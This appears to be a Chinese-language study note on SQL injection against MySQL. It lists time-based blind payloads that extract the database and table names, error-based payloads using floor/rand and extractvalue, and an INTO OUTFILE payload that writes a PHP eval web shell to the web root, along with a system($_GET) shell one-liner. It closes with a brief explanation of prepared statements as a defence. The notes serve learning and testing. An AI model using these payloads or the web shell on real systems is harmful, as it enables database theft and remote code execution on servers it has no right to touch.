sql注入补充

 sql盲注 

1' or sleep(2) ->字符型
1 or sleep(2) ->数字型

当确保前面条件为假时用or，为真时用and
因为or当条件一为真短路，and条件一为假时断路
必须确保第二条if可以运行
获取数据库名长度

1' or if((length(database()))=5,sleep(1),1) #
1' and if((length(database()))=5,sleep(1),1) #  

1' or length(database())=5 and sleep(1) # 
1' and length(database())=5 and sleep(1) # 

获取数据库名
'1' or ord(substr(database(),1,1))>5 and sleep(1) # 
'1' or if(ascii(substr(database(),1,1))>5,sleep(1),1) -- 

-- 正确语句
-- 1' or if(length((select group_concat(table_name)  from information_schema.`TABLES` where table_schema = 'first'))>1,sleep(1),1);
select * from first.c where id = '1' or if(length((select group_concat(table_name)  
from information_schema.`TABLES` where table_schema = 'first'))>1,sleep(1),1);

-- 错误语句
-- 1' or if(length(group_concat(table_name))>1,sleep(1),1) from information_schema.`TABLES` where table_schema = 'first';
select * from first.c where id = '1' or if(length(group_concat(table_name))>1,sleep(1),1) 
from information_schema.`TABLES` where table_schema = 'first';

sql注入RCE

 select * from heroes where id=10 union select 1,2,3,'<?php eval($_POST[tedu])?>' into outfile '/var/www/html/images/jjj.php';

# 通过get请求或得shell
<?php system($_GET['TEDU']);?>

语法补充

# 计数
count() 
# 随机数
rand()
# 向下取整
floor()
# 根据x分组
group by x
# 检查xpath语法，如果错误就报错
extractvalue()

报错注入

# 现版本已修复
select count(*),concat((select database()),FLOOR(RAND(0)*2))x from information_schema.`tables` group by x;


select extractvalue(1,concat(0x7e,(select database())));

sql预处理

原理将命令部分和数据部分

服务端会向将命令部分发给数据库，然后等待数据部分

将sql语句中的参数使用占位符代替

PREPARE select_content from 'select * from f1.student where age=?';

set @age="18' and 1=2";

EXECUTE select_content using @age;